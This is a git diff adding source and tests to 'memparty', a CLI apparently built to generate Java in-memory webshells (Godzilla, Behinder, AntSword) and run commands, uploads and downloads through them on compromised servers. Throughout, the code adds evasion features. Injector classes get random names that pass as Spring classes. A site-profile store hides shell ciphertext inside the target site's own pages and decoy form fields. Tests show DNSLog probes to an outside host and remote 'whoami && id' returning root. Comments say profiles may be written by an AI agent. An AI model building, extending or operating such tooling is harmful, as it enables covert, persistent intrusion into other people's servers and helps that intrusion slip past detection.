+ const target = join(dir, "exists.bin"); + writeFileSync(target, "old"); + expect(() => resolveDownloadPath("/data/x", target, false)).toThrow(/already exists/); + expect(resolveDownloadPath("/data/x", target, true)).toBe(target); + }); + + it("refuses a missing parent directory", () => { + expect(() => resolveDownloadPath("/data/x", join(dir, "nope", "x.bin"), false)).toThrow( + /does not exist/, + ); + }); + + it("refuses when the derived default name collides with an existing directory", () => { + mkdirSync(join(dir, "sub")); + const cwd = process.cwd(); + process.chdir(dir); + try { + expect(() => resolveDownloadPath("/data/sub", undefined, true)).toThrow(/directory/); + } finally { + process.chdir(cwd); + } + }); + + it("demands -o when no basename can be derived", () => { + expect(() => resolveDownloadPath("///", undefined, false)).toThrow(/pass -o/); + }); +}); + +describe("readUploadFile", () => { + let dir: string; + + beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "memparty-ul-")); + }); + + afterEach(() => { + rmSync(dir, { recursive: true, force: true }); + }); + + it("reads a regular file byte-for-byte", () => { + const target = join(dir, "a.bin"); + const bytes = Buffer.from([0, 1, 2, 255, 254, 3]); + writeFileSync(target, bytes); + expect(readUploadFile(target).equals(bytes)).toBe(true); + }); + + it("rejects missing files", () => { + expect(() => readUploadFile(join(dir, "nope"))).toThrow(/does not exist/); + }); + + it("rejects directories", () => { + expect(() => readUploadFile(dir)).toThrow(/not a regular file/); + }); + + it("rejects files over the size limit", () => { + const target = join(dir, "big.bin"); + writeFileSync(target, Buffer.alloc(1024)); + expect(() => readUploadFile(target, 512)).toThrow(/over the 512-byte/); + }); +}); diff --git a/tools/cli/src/core/localfile.ts b/tools/cli/src/core/localfile.ts new file mode 100644 index 00000000..edd67c1a --- /dev/null +++ b/tools/cli/src/core/localfile.ts @@ -0,0 +1,94 @@ +/** + * Local-filesystem helpers for `memparty upload` / `memparty download`. + * + * Kept deliberately strict: a transfer command must fail loudly before it + * touches the wire rather than clobber a local file or stream a directory. + */ +import { existsSync, readFileSync, statSync } from "node:fs"; +import { dirname, join, resolve } from "node:path"; + +/** Max upload size: 64 MiB. Larger files belong in a real file manager. */ +export const UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024; + +/** + * Basename of a *remote* path. The remote host may be Windows or Linux, so + * both `\` and `/` count as separators; trailing separators are stripped + * first ("C:\\temp\\" -> "temp"). Returns "" when nothing usable remains. + */ +export function remoteBasename(remotePath: string): string { + const trimmed = remotePath.replace(/[/\\]+$/, ""); + const parts = trimmed.split(/[/\\]/).filter((p) => p.length > 0); + return parts.length > 0 ? parts[parts.length - 1]! : ""; +} + +/** + * Decide where a download lands locally and refuse anything unsafe. + * + * - `localArg` omitted -> ./ + * - `localArg` is an existing directory -> / + * - otherwise `localArg` is the target file + * + * Throws when the name is unusable, the parent directory is missing, or the + * target exists and `force` is not set (no silent overwrites). + */ +export function resolveDownloadPath( + remotePath: string, + localArg: string | undefined, + force: boolean, +): string { + const name = remoteBasename(remotePath); + let target: string; + if (localArg === undefined) { + if (!name) { + throw new Error( + `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} — pass -o`, + ); + } + target = name; + } else if (existsSync(localArg) && statSync(localArg).isDirectory()) { + if (!name) { + throw new Error( + `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} — pass -o with a file path`, + ); + } + target = join(localArg, name); + } else { + target = localArg; + } + + const abs = resolve(target); + if (existsSync(abs)) { + if (statSync(abs).isDirectory()) { + throw new Error(`local path ${target} is a directory — pass -o with a file path`); + } + if (!force) { + throw new Error(`local file ${target} already exists — pass --force to overwrite`); + } + } + const parent = dirname(abs); + if (!existsSync(parent) || !statSync(parent).isDirectory()) { + throw new Error(`local directory ${parent} does not exist`); + } + return abs; +} + +/** + * Read a local file for upload. Throws unless it is a regular file within + * the size limit — directories, devices and missing files are all errors, + * never silent empty uploads. + */ +export function readUploadFile(localPath: string, maxBytes = UPLOAD_SIZE_LIMIT): Buffer { + if (!existsSync(localPath)) { + throw new Error(`local file ${localPath} does not exist`); + } + const stat = statSync(localPath); + if (!stat.isFile()) { + throw new Error(`local path ${localPath} is not a regular file`); + } + if (stat.size > maxBytes) { + throw new Error( + `local file ${localPath} is ${stat.size} bytes — over the ${maxBytes}-byte upload limit`, + ); + } + return readFileSync(localPath); +} diff --git a/tools/cli/src/core/oplog.test.ts b/tools/cli/src/core/oplog.test.ts new file mode 100644 index 00000000..9c054c19 --- /dev/null +++ b/tools/cli/src/core/oplog.test.ts @@ -0,0 +1,110 @@ +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +import { formatOp, logOp, readOps, truncateOutput, OUTPUT_LIMIT } from "./oplog.js"; + +let dir: string; + +beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "memparty-oplog-")); + process.env.MEMPARTY_OPLOG = join(dir, "operations.jsonl"); +}); + +afterEach(() => { + delete process.env.MEMPARTY_OPLOG; + rmSync(dir, { recursive: true, force: true }); +}); + +describe("logOp / readOps", () => { + it("appends entries and reads them newest-first", () => { + logOp({ category: "connect", action: "connect", targetName: "web1/bh9060", ok: true }); + logOp({ category: "exec", action: "exec", targetName: "web1/bh9060", ok: true, command: "id" }); + const entries = readOps(); + expect(entries).toHaveLength(2); + expect(entries[0]!.category).toBe("exec"); // newest first + expect(entries[1]!.category).toBe("connect"); + expect(entries[0]!.ts).toBeTruthy(); + }); + + it("filters by category", () => { + logOp({ category: "connect", action: "connect", ok: true }); + logOp({ category: "exec", action: "exec", ok: true, command: "id" }); + logOp({ category: "save", action: "save", ok: true }); + const entries = readOps({ category: "exec" }); + expect(entries).toHaveLength(1); + expect(entries[0]!.command).toBe("id"); + }); + + it("filters by target: project prefix and URL substring", () => { + logOp({ category: "exec", action: "exec", targetName: "web1/bh9060", ok: true }); + logOp({ category: "exec", action: "exec", targetName: "web1/gdz8080", ok: true }); + logOp({ category: "exec", action: "exec", targetName: "other/s1", ok: true }); + logOp({ category: "connect", action: "connect", url: "http://10.0.0.5/x.jsp", ok: true }); + + expect(readOps({ target: "web1" })).toHaveLength(2); + expect(readOps({ target: "web1/bh9060" })).toHaveLength(1); + expect(readOps({ target: "10.0.0.5" })).toHaveLength(1); + }); + + it("respects the limit", () => { + for (let i = 0; i < 10; i++) { + logOp({ category: "exec", action: "exec", ok: true, command: `cmd${i}` }); + } + const entries = readOps({ limit: 3 }); + expect(entries).toHaveLength(3); + expect(entries[0]!.command).toBe("cmd9"); + }); + + it("returns an empty list when the log does not exist", () => { + expect(readOps()).toEqual([]); + }); +}); + +describe("truncateOutput", () => { + it("keeps short output intact", () => { + expect(truncateOutput("hello")).toEqual({ output: "hello", truncated: false }); + }); + + it("truncates long output", () => { + const long = "x".repeat(OUTPUT_LIMIT + 100); + const { output, truncated } = truncateOutput(long); + expect(truncated).toBe(true); + expect(output).toHaveLength(OUTPUT_LIMIT); + }); +}); + +describe("formatOp", () => { + it("renders exec entries with command and first output line", () => { + const line = formatOp({ + ts: "2026-07-18T09:30:01.000Z", + category: "exec", + action: "exec", + targetName: "web1/bh9060", + ok: true, + durationMs: 19, + command: "whoami && id", + output: "root\nuid=0(root)", + }); + expect(line).toContain("exec"); + expect(line).toContain("ok"); + expect(line).toContain("web1/bh9060"); + expect(line).toContain("$ whoami && id → root…"); + expect(line).toContain("(19ms)"); + }); + + it("renders failures with the error", () => { + const line = formatOp({ + ts: "2026-07-18T09:30:01.000Z", + category: "connect", + action: "connect", + url: "http://x/s.jsp", + ok: false, + error: "wrong password", + }); + expect(line).toContain("FAIL"); + expect(line).toContain("wrong password"); + }); +}); diff --git a/tools/cli/src/core/oplog.ts b/tools/cli/src/core/oplog.ts new file mode 100644 index 00000000..ae106d5a --- /dev/null +++ b/tools/cli/src/core/oplog.ts @@ -0,0 +1,136 @@ +/** + * Global operation log — every gen / probe / connect / exec / download / + * upload / target operation is appended as one JSON line, giving an + * auditable trail of what ran, against which target, and how it ended. + * + * Location: ~/.memparty/operations.jsonl (override with MEMPARTY_OPLOG). + * Logging is best-effort: a broken log file/dir must never break the + * operation being logged. + * + * Secrets are never logged: no pass/key/headerValue, no payload bytes, + * no file contents. Exec output is truncated (see OUTPUT_LIMIT). + */ +import { appendFileSync, existsSync, mkdirSync, readFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { dirname, join } from "node:path"; + +export type OpCategory = + | "gen" + | "probe" + | "connect" + | "exec" + | "download" + | "upload" + | "save" + | "note" + | "remove"; + +export interface OpLogEntry { + /** ISO timestamp. */ + ts: string; + category: OpCategory; + /** What happened: "gen" | "probe" | "connect" | "exec" | "save" | "note" | "remove". */ + action: string; + /** Saved `project/shell` reference, when the operation used one. */ + targetName?: string; + url?: string; + tool?: string; + ok: boolean; + durationMs?: number; + /** Short human-readable success detail. */ + detail?: string; + error?: string; + /** exec only: the command line. */ + command?: string; + /** exec only: remote output, truncated to OUTPUT_LIMIT. */ + output?: string; + outputTruncated?: boolean; + /** Extra structured fields (target meta, gen params — never credentials). */ + meta?: Record; +} + +/** exec output is truncated to this many characters in the log. */ +export const OUTPUT_LIMIT = 2000; + +export function opLogPath(): string { + return process.env.MEMPARTY_OPLOG ?? join(homedir(), ".memparty", "operations.jsonl"); +} + +/** Append one entry. Never throws. */ +export function logOp(entry: Omit): void { + try { + const file = opLogPath(); + mkdirSync(dirname(file), { recursive: true }); + appendFileSync(file, `${JSON.stringify({ ts: new Date().toISOString(), ...entry })}\n`); + } catch { + // best-effort logging — the operation itself already completed + } +} + +export interface OpFilter { + category?: OpCategory; + /** + * Match by saved target reference ("web1" also matches "web1/bh9060") + * or by a substring of the URL (e.g. a host). + */ + target?: string; + /** Max entries returned (default 50). */ + limit?: number; +} + +/** Read entries matching the filter, newest first. */ +export function readOps(filter: OpFilter = {}): OpLogEntry[] { + let entries: OpLogEntry[] = []; + try { + const file = opLogPath(); + if (existsSync(file)) { + for (const line of readFileSync(file, "utf8").split("\n")) { + const trimmed = line.trim(); + if (!trimmed) continue; + try { + entries.push(JSON.parse(trimmed) as OpLogEntry); + } catch { + // skip malformed lines + } + } + } + } catch { + return []; + } + if (filter.category) { + entries = entries.filter((e) => e.category === filter.category); + } + if (filter.target) { + const t = filter.target; + entries = entries.filter( + (e) => + e.targetName === t || e.targetName?.startsWith(`${t}/`) || e.url?.includes(t), + ); + } + return entries.slice(-(filter.limit ?? 50)).reverse(); +} + +/** Truncate exec output for the log. */ +export function truncateOutput(output: string): { output: string; truncated: boolean } { + if (output.length <= OUTPUT_LIMIT) return { output, truncated: false }; + return { output: output.slice(0, OUTPUT_LIMIT), truncated: true }; +} + +/** One-line rendering for `memparty log`. */ +export function formatOp(e: OpLogEntry): string { + const ts = e.ts.replace("T", " ").slice(0, 19); + const cat = e.category.padEnd(7); + const status = e.ok ? "ok " : "FAIL"; + const target = e.targetName ?? e.url ?? "-"; + const ms = e.durationMs !== undefined ? ` (${e.durationMs}ms)` : ""; + let summary: string; + if (e.category === "exec") { + const out = (e.output ?? e.error ?? "").split("\n", 1)[0]!; + const more = + (e.output ?? "").includes("\n") || e.outputTruncated ? "…" : ""; + summary = `$ ${e.command ?? ""} → ${out}${more}`; + } else { + summary = e.detail ?? e.error ?? e.action; + } + return `${ts} ${cat} ${status} ${target} ${summary}${ms}`; +} diff --git a/tools/cli/src/core/output.test.ts b/tools/cli/src/core/output.test.ts new file mode 100644 index 00000000..18723622 --- /dev/null +++ b/tools/cli/src/core/output.test.ts @@ -0,0 +1,58 @@ +import { describe, expect, it, vi } from "vitest"; + +import { emitPayload, shouldDecode } from "./output.js"; + +describe("shouldDecode", () => { + it("honours an explicit decode flag", () => { + expect(shouldDecode({ decode: true, outFile: "x.txt" })).toBe(true); + expect(shouldDecode({ decode: false, outFile: "x.jar" })).toBe(false); + }); + + it("infers from binary file extensions", () => { + expect(shouldDecode({ outFile: "shell.jar" })).toBe(true); + expect(shouldDecode({ outFile: "Shell.CLASS" })).toBe(true); + expect(shouldDecode({ outFile: "payload.jsp" })).toBe(false); + }); + + it("defaults to false for stdout", () => { + expect(shouldDecode({})).toBe(false); + }); +}); + +describe("emitPayload", () => { + it("writes a raw string to stdout with a trailing newline", () => { + const writeStdout = vi.fn(); + const result = emitPayload("hello", {}, { writeStdout }); + expect(writeStdout).toHaveBeenCalledWith("hello\n"); + expect(result.destination).toBe("stdout"); + expect(result.decoded).toBe(false); + }); + + it("writes a raw string to a file", () => { + const writeFile = vi.fn(); + const result = emitPayload("payloadtext", { outFile: "out.jsp" }, { writeFile }); + expect(writeFile).toHaveBeenCalledWith("out.jsp", "payloadtext"); + expect(result.destination).toBe("out.jsp"); + expect(result.decoded).toBe(false); + }); + + it("base64-decodes when writing a .jar file", () => { + const writeFile = vi.fn(); + const original = Buffer.from("binary-bytes"); + const b64 = original.toString("base64"); + const result = emitPayload(b64, { outFile: "shell.jar" }, { writeFile }); + + expect(writeFile).toHaveBeenCalledTimes(1); + const written = writeFile.mock.calls[0][1] as Buffer; + expect(Buffer.isBuffer(written)).toBe(true); + expect(written.equals(original)).toBe(true); + expect(result.decoded).toBe(true); + expect(result.size).toBe(original.length); + }); + + it("does not decode when --no-decode is set for a .jar file", () => { + const writeFile = vi.fn(); + emitPayload("not-base64", { outFile: "shell.jar", decode: false }, { writeFile }); + expect(writeFile).toHaveBeenCalledWith("shell.jar", "not-base64"); + }); +}); diff --git a/tools/cli/src/core/output.ts b/tools/cli/src/core/output.ts new file mode 100644 index 00000000..363bd4e9 --- /dev/null +++ b/tools/cli/src/core/output.ts @@ -0,0 +1,71 @@ +import { writeFileSync } from "node:fs"; + +/** File extensions whose payload is base64-encoded bytes and should be decoded. */ +const BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"]; + +export interface OutputOptions { + /** Destination file path. When omitted, content goes to stdout. */ + outFile?: string; + /** Force base64 decoding before writing (binary payload). */ + decode?: boolean; +} + +export interface OutputResult { + /** Where the payload went: a file path, or "stdout". */ + destination: string; + /** Number of bytes written (file) or characters printed (stdout). */ + size: number; + /** Whether the payload was base64-decoded. */ + decoded: boolean; +} + +function hasBinaryExtension(path: string): boolean { + const lower = path.toLowerCase(); + return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext)); +} + +/** + * Decide whether a payload should be base64-decoded before writing. + * Explicit `decode` wins; otherwise infer from the output file extension. + */ +export function shouldDecode(opts: OutputOptions): boolean { + if (opts.decode !== undefined) return opts.decode; + if (opts.outFile) return hasBinaryExtension(opts.outFile); + return false; +} + +/** + * Emit a payload string either to a file or to stdout. + * Uses injectable sinks so it can be unit-tested without touching the real fs/stdout. + */ +export function emitPayload( + payload: string, + opts: OutputOptions, + sinks: { + writeFile?: (path: string, data: Buffer | string) => void; + writeStdout?: (data: string) => void; + } = {}, +): OutputResult { + const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d)); + const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d)); + const decoded = shouldDecode(opts); + + if (opts.outFile) { + if (decoded) { + const buf = Buffer.from(payload, "base64"); + writeFile(opts.outFile, buf); + return { destination: opts.outFile, size: buf.length, decoded: true }; + } + writeFile(opts.outFile, payload); + return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false }; + } + + // stdout + if (decoded) { + const buf = Buffer.from(payload, "base64"); + writeStdout(buf.toString("binary")); + return { destination: "stdout", size: buf.length, decoded: true }; + } + writeStdout(payload.endsWith("\n") ? payload : `${payload}\n`); + return { destination: "stdout", size: payload.length, decoded: false }; +} diff --git a/tools/cli/src/core/request-builder.test.ts b/tools/cli/src/core/request-builder.test.ts new file mode 100644 index 00000000..bcba3fa5 --- /dev/null +++ b/tools/cli/src/core/request-builder.test.ts @@ -0,0 +1,91 @@ +import { describe, expect, it } from "vitest"; + +import { buildMemShellRequest, buildProbeRequest } from "./request-builder.js"; + +describe("buildMemShellRequest", () => { + it("maps flat options into the nested request shape", () => { + const req = buildMemShellRequest({ + server: "Tomcat", + shellTool: "Godzilla", + shellType: "Listener", + packer: "Base64", + jdk: "java8", + godzillaPass: "pass", + godzillaKey: "key", + headerName: "User-Agent", + urlPattern: "/*", + shrink: true, + staticInitialize: true, + }); + + expect(req.shellConfig.server).toBe("Tomcat"); + expect(req.shellConfig.shellTool).toBe("Godzilla"); + expect(req.shellConfig.shellType).toBe("Listener"); + expect(req.shellConfig.targetJreVersion).toBe(52); + expect(req.shellToolConfig.godzillaPass).toBe("pass"); + expect(req.shellToolConfig.godzillaKey).toBe("key"); + expect(req.injectorConfig.urlPattern).toBe("/*"); + expect(req.injectorConfig.staticInitialize).toBe(true); + expect(req.packer).toBe("Base64"); + }); + + it("keeps the provided injector class name for normal packers", () => { + const req = buildMemShellRequest({ + server: "Tomcat", + shellTool: "Command", + shellType: "Filter", + packer: "Base64", + injectorClassName: "com.example.MyInjector", + }); + expect(req.injectorConfig.injectorClassName).toBe("com.example.MyInjector"); + }); + + it("generates a spring expression injector name for SpEL packers", () => { + const req = buildMemShellRequest({ + server: "Tomcat", + shellTool: "Command", + shellType: "Filter", + packer: "SpEL", + injectorClassName: "ignored", + }); + expect(req.injectorConfig.injectorClassName).toMatch( + /^org\.springframework\.expression\.[A-Z][A-Za-z]{5}Util$/, + ); + }); + + it("leaves targetJreVersion undefined when no jdk is given", () => { + const req = buildMemShellRequest({ + server: "Tomcat", + shellTool: "Godzilla", + shellType: "Listener", + packer: "Base64", + }); + expect(req.shellConfig.targetJreVersion).toBeUndefined(); + }); +}); + +describe("buildProbeRequest", () => { + it("maps DNSLog probe options", () => { + const req = buildProbeRequest({ + probeMethod: "DNSLog", + probeContent: "BasicInfo", + packer: "Base64", + host: "abc.dnslog.cn", + }); + expect(req.probeConfig.probeMethod).toBe("DNSLog"); + expect(req.probeContentConfig.host).toBe("abc.dnslog.cn"); + expect(req.packer).toBe("Base64"); + }); + + it("maps Sleep probe options and coerces seconds", () => { + const req = buildProbeRequest({ + probeMethod: "Sleep", + probeContent: "Server", + packer: "Base64", + sleepServer: "Tomcat", + seconds: 5, + }); + expect(req.probeContentConfig.sleepServer).toBe("Tomcat"); + expect(req.probeContentConfig.seconds).toBe(5); + }); +}); diff --git a/tools/cli/src/core/request-builder.ts b/tools/cli/src/core/request-builder.ts new file mode 100644 index 00000000..fe8ddaaf --- /dev/null +++ b/tools/cli/src/core/request-builder.ts @@ -0,0 +1,153 @@ +import { randomInt } from "node:crypto"; + +import type { + MemShellGenerateRequest, + ProbeShellGenerateRequest, +} from "../api/types.js"; +import { resolveJreVersion } from "./jdk.js"; + +/** + * Packers that require a randomised Spring expression injector class name. + * Ported from web/app/utils/transformer.ts. + */ +const SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([ + "SpEL", + "SpELSpringGzipJDK17", + "OGNL", + "OGNLSpringGzipJDK17", + "JXPath", + "JXPathSpringGzipJDK17", +]); + +const UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; +const CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + +function randomChar(chars: string): string { + return chars[randomInt(chars.length)]; +} + +function generateSpringExpressionInjectorClassName(): string { + const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join(""); + return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`; +} + +/** Flat option set for building a memshell request (from flags or the wizard). */ +export interface MemShellOptions { + server: string; + serverVersion?: string; + shellTool: string; + shellType: string; + packer: string; + + jdk?: string | number; + debug?: boolean; + byPassJavaModule?: boolean; + shrink?: boolean; + lambdaSuffix?: boolean; + probe?: boolean; + + shellClassName?: string; + godzillaPass?: string; + godzillaKey?: string; + commandParamName?: string; + commandTemplate?: string; + behinderPass?: string; + antSwordPass?: string; + headerName?: string; + headerValue?: string; + shellClassBase64?: string; + encryptor?: string; + implementationClass?: string; + + urlPattern?: string; + injectorClassName?: string; + staticInitialize?: boolean; +} + +export function buildMemShellRequest(opts: MemShellOptions): MemShellGenerateRequest { + const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer) + ? generateSpringExpressionInjectorClassName() + : opts.injectorClassName; + + return { + shellConfig: { + server: opts.server, + serverVersion: opts.serverVersion, + shellTool: opts.shellTool, + shellType: opts.shellType, + targetJreVersion: resolveJreVersion(opts.jdk), + debug: opts.debug, + byPassJavaModule: opts.byPassJavaModule, + shrink: opts.shrink, + lambdaSuffix: opts.lambdaSuffix, + probe: opts.probe, + }, + shellToolConfig: { + shellClassName: opts.shellClassName, + godzillaPass: opts.godzillaPass, + godzillaKey: opts.godzillaKey, + commandParamName: opts.commandParamName, + commandTemplate: opts.commandTemplate, + behinderPass: opts.behinderPass, + antSwordPass: opts.antSwordPass, + headerName: opts.headerName, + headerValue: opts.headerValue, + shellClassBase64: opts.shellClassBase64, + encryptor: opts.encryptor, + implementationClass: opts.implementationClass, + }, + injectorConfig: { + injectorClassName, + urlPattern: opts.urlPattern, + staticInitialize: opts.staticInitialize, + }, + packer: opts.packer, + }; +} + +/** Flat option set for building a probe request. */ +export interface ProbeOptions { + probeMethod: string; + probeContent: string; + packer: string; + + shellClassName?: string; + jdk?: string | number; + debug?: boolean; + byPassJavaModule?: boolean; + shrink?: boolean; + staticInitialize?: boolean; + lambdaSuffix?: boolean; + + host?: string; + seconds?: number; + sleepServer?: string; + server?: string; + reqParamName?: string; + commandTemplate?: string; +} + +export function buildProbeRequest(opts: ProbeOptions): ProbeShellGenerateRequest { + return { + probeConfig: { + probeMethod: opts.probeMethod, + probeContent: opts.probeContent, + shellClassName: opts.shellClassName, + targetJreVersion: resolveJreVersion(opts.jdk), + debug: opts.debug, + byPassJavaModule: opts.byPassJavaModule, + shrink: opts.shrink, + staticInitialize: opts.staticInitialize, + lambdaSuffix: opts.lambdaSuffix, + }, + probeContentConfig: { + host: opts.host, + seconds: opts.seconds, + sleepServer: opts.sleepServer, + server: opts.server, + reqParamName: opts.reqParamName, + commandTemplate: opts.commandTemplate, + }, + packer: opts.packer, + }; +} diff --git a/tools/cli/src/core/site-profile.test.ts b/tools/cli/src/core/site-profile.test.ts new file mode 100644 index 00000000..053c66bc --- /dev/null +++ b/tools/cli/src/core/site-profile.test.ts @@ -0,0 +1,187 @@ +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +import { + listProfiles, + loadProfile, + profileSkeleton, + profileTemplates, + saveProfile, + type SiteProfile, +} from "./site-profile.js"; + +let dir: string; + +beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "memparty-profiles-")); + process.env.MEMPARTY_PROFILES = dir; +}); + +afterEach(() => { + delete process.env.MEMPARTY_PROFILES; + rmSync(dir, { recursive: true, force: true }); +}); + +function validProfile(name: string): SiteProfile { + return { + name, + site: "http://192.0.2.1:8080", + createdAt: new Date().toISOString(), + title: "示例站点", + template: "skin", + contentType: "text/html; charset=utf-8", + paths: ["/api/", "/news/"], + }; +} + +describe("profile store", () => { + it("saves, loads and lists profiles", () => { + saveProfile(validProfile("t1")); + expect(listProfiles()).toEqual(["t1"]); + const loaded = loadProfile("t1"); + expect(loaded.template).toContain("skin"); + expect(loaded.paths).toEqual(["/api/", "/news/"]); + }); + + it("rejects an invalid name", () => { + expect(() => saveProfile(validProfile("bad/name"))).toThrow(/invalid profile name/); + }); + + it("rejects a non-HTML template", () => { + const profile = validProfile("t2"); + profile.template = "not html"; + expect(() => saveProfile(profile)).toThrow(/must be a full HTML page/); + }); + + it("rejects a bad site origin", () => { + const profile = validProfile("t3"); + profile.site = "not-a-url"; + expect(() => saveProfile(profile)).toThrow(/site must be an http/); + }); + + it("loadProfile validates the stored file too", () => { + saveProfile(validProfile("t4")); + // corrupt the stored file by hand + const path = join(dir, "t4.json"); + const raw = JSON.parse(readFileSync(path, "utf8")); + raw.template = "nope"; + writeFileSync(path, JSON.stringify(raw)); + expect(() => loadProfile("t4")).toThrow(/full HTML page/); + }); + + it("loadProfile explains how to fix a missing profile", () => { + expect(() => loadProfile("nope")).toThrow(/unknown profile/); + }); + + it("profileSkeleton produces a valid, fillable profile", () => { + const skeleton = profileSkeleton("t5", "http://192.0.2.1/"); + skeleton.templates![0]!.title = "填好的标题"; + skeleton.paths = ["/app/"]; + expect(() => saveProfile(skeleton)).not.toThrow(); + expect(loadProfile("t5").site).toBe("http://192.0.2.1"); + }); + + it("accepts multiple templates and normalizes the legacy single triple", () => { + const multi = validProfile("t6"); + multi.templates = [ + { title: "a", template: "a", contentType: "text/html" }, + { title: "b", template: "b", contentType: "text/html", weight: 3 }, + ]; + multi.template = undefined; + expect(profileTemplates(multi)).toHaveLength(2); + expect(() => saveProfile(multi)).not.toThrow(); + + // legacy shape (no templates[], only template/title/contentType) normalizes to one + const legacy = validProfile("t7"); + expect(profileTemplates(legacy)).toHaveLength(1); + expect(profileTemplates(legacy)[0]!.template).toContain("skin"); + }); + + it("rejects when there is no usable template at all", () => { + const empty = validProfile("t8"); + empty.template = undefined; + empty.templates = []; + expect(() => saveProfile(empty)).toThrow(/at least one template/); + }); + + it("rejects a bad entry inside templates[]", () => { + const multi = validProfile("t9"); + multi.templates = [ + { title: "ok", template: "ok", contentType: "text/html" }, + { title: "bad", template: "nope", contentType: "text/html" }, + ]; + expect(() => saveProfile(multi)).toThrow(/templates\[1\]\.template/); + }); + + it("accepts a valid cipher section", () => { + const p = validProfile("c1"); + p.cipher = { algorithm: "aes-cbc", encoding: "hex", padTail: true, marker: "html-comment" }; + expect(() => saveProfile(p)).not.toThrow(); + expect(loadProfile("c1").cipher?.algorithm).toBe("aes-cbc"); + }); + + it("rejects unknown cipher values", () => { + const p = validProfile("c2"); + p.cipher = { algorithm: "rot13" as never }; + expect(() => saveProfile(p)).toThrow(/cipher\.algorithm/); + + const p2 = validProfile("c3"); + p2.cipher = { encoding: "utf16" as never }; + expect(() => saveProfile(p2)).toThrow(/cipher\.encoding/); + + const p3 = validProfile("c4"); + p3.cipher = { marker: "css" as never }; + expect(() => saveProfile(p3)).toThrow(/cipher\.marker/); + + const p4 = validProfile("c5"); + p4.cipher = { padTail: "yes" as never }; + expect(() => saveProfile(p4)).toThrow(/cipher\.padTail/); + }); + + it("accepts a non-HTML template that carries {{payload}}", () => { + const p = validProfile("j1"); + p.templates = [ + { title: "api", template: '{"code":0,"data":"{{payload}}"}', contentType: "application/json" }, + ]; + expect(() => saveProfile(p)).not.toThrow(); + }); + + it("rejects a non-HTML template without the placeholder", () => { + const p = validProfile("j2"); + p.templates = [{ title: "api", template: '{"code":0}', contentType: "application/json" }]; + expect(() => saveProfile(p)).toThrow(/payload|full HTML page/); + }); + + it("rejects a bad bodyStyle and bad headers", () => { + const p = validProfile("j3"); + p.request = { secretField: "t", bodyStyle: "xml" as never }; + expect(() => saveProfile(p)).toThrow(/bodyStyle/); + + const p2 = validProfile("j4"); + p2.request = { secretField: "t", headers: { Accept: 42 } as never }; + expect(() => saveProfile(p2)).toThrow(/headers/); + }); + + it("accepts a bodyTemplate carrying {{payload}} (any body format)", () => { + const p = validProfile("bt1"); + p.request = { + secretField: "content", + bodyTemplate: '{"model":"gpt-4o-mini","messages":[{"role":"user","content":"{{payload}}"}]}', + headers: { Accept: "application/json" }, + }; + expect(() => saveProfile(p)).not.toThrow(); + }); + + it("rejects a bodyTemplate without the placeholder or with secretIn!=body", () => { + const p = validProfile("bt2"); + p.request = { secretField: "t", bodyTemplate: '{"a":"b"}' }; + expect(() => saveProfile(p)).toThrow(/bodyTemplate.*payload/); + + const p2 = validProfile("bt3"); + p2.request = { secretField: "t", secretIn: "query", bodyTemplate: "x={{payload}}" }; + expect(() => saveProfile(p2)).toThrow(/secretIn=body/); + }); +}); diff --git a/tools/cli/src/core/site-profile.ts b/tools/cli/src/core/site-profile.ts new file mode 100644 index 00000000..ef037b77 --- /dev/null +++ b/tools/cli/src/core/site-profile.ts @@ -0,0 +1,318 @@ +/** + * Site profiles — the mimic protocol's view of what a target site looks + * like (see docs/custom-memshell-design.md). + * + * Profiles are written BY THE OPERATOR (or an AI agent), not crawled: a + * dumb crawler can't judge which page makes the best cover, and in + * practice the agent reads the site itself and hand-writes this JSON. + * This module is only the store + schema: + * + * - templates: one or more real response bodies (HTML/JSON/XML/JS…) + * used as response skins — the server rotates among them so + * responses don't all share one page's length/hash. A + * template carrying `{{payload}}` gets the ciphertext + * substituted exactly there (any format); an HTML template + * without it gets the marker fragment injected; + * - paths: the site's path vocabulary, e.g. ["/api/", "/news/"], + * used for --dynamic-path request randomization. + * + * Legacy profiles with a single `template`/`title`/`contentType` triple + * still load — they are normalized to a one-entry `templates` list. + * + * Store location: ~/.memparty/profiles/.json (dir override with + * MEMPARTY_PROFILES). + */ +import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; + +export interface ProfileTemplate { + /** of this page (metadata — the template is used verbatim). */ + title: string; + /** + * Full body of a real response on the site (a response skin). Any text + * format is allowed — HTML, JSON, XML, JS… When it contains the literal + * placeholder `{{payload}}`, the ciphertext is substituted exactly there + * (works for every format); without a placeholder the template must be an + * HTML page and the cipher's marker fragment is injected before </body>. + */ + template: string; + /** Content-Type this page is served with (the shell answers with it). */ + contentType: string; + /** Relative rotation weight (default 1). */ + weight?: number; +} + +/** One form field in the request shape. Values may contain {{hex:N}} placeholders. */ +export interface ProfileFormField { + name: string; + value: string; +} + +/** + * How shell requests should look on the wire. Model it on a real form the + * target site already receives all the time (e.g. its own login POST): + * the ciphertext hides in `secretField`, surrounded by decoy fields. + * + * A profile may carry ONE of these or an ARRAY of them 